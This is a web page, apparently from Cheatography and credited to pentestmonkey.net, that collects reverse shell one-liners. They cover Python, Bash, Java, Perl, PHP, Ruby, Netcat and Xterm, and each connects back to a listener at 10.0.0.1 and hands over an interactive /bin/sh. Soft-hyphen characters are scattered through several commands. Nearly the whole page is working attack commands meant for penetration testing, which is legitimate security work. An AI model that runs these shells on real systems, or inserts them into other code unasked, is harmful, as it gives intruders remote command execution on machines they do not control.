Reverse Shell Cheat Sheet

A cheat sheet in English by Dormidera

Source: pentestmonkey.net

8,123 views 1,398 downloads 18 Feb 2020 History
3.7 avg · 0 ratings

Python

python -c '­import socket­,su­bpr­oce­ss,­os;­s=s­ock­et.s­oc­ket­(so­cke­t.A­F_I­NET­,so­cke­t.S­OCK­_ST­REA­M);­s.c­onn­ect­(("1­0.0.0.1­",1­234­));­os.d­up­2(s.fi­len­o(),0); os.dup­2(s.fi­len­o(),1); os.dup­2(s.fi­len­o()­,2)­;p=­sub­pro­ces­s.c­all­(["/­bin­/sh­"­,"-i­"­]);­'

Bash

bash -i >& /dev/t­cp/­10.0.0.1/8080 0>&1

Java

r = Runtim­e.g­etR­unt­ime() p = r.exec­(["/­bin­/ba­sh",­"­-c",­"exec 5<>­/de­v/t­cp/­10.0.0.1/­200­2;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.wait­For()

PERL

perl -e 'use Socket­;$i­="10.0.0.1­"­;$p­=12­34;­soc­ket­(S,­PF_­INE­T,S­OCK­_ST­REA­M,g­etp­rot­oby­nam­e("t­cp")­);i­f(c­onn­ect­(S,­soc­kad­dr_­in(­$p,­ine­t_a­ton­($i­)))­){o­pen­(ST­DIN­,">&S")­;op­en(­STD­OUT­,">&S")­;op­en(­STD­ERR­,">&S")­;ex­ec(­"­/bin/sh -i")­;};­'

PHP

php -r '­$so­ck=­fso­cko­pen­("10.0.0.1­"­,12­34)­;ex­ec(­"­/bin/sh -i <&3 >&3 2>&3")­;'

Ruby

ruby -rsocket -e'f­=TC­PSo­cke­t.o­pen­("10.0.0.1­"­,12­34).to­_i;exec sprint­f("/­bin/sh -i <&%d >&%d 2>&%d­"­,f,­f,f­)'

Netcat

nc -e /bin/sh 10.0.0.1 1234
If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:
rm /tmp/f­;mkfifo /tmp/f;cat /tmp/f­|/b­in/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Xterm

xterm -display 10.0.0.1:1

Badges

Nice Cheat Sheet

Comments

No comments yet.

Cheatography n. The art of mapping complex subjects into clear, instantly navigable reference guides.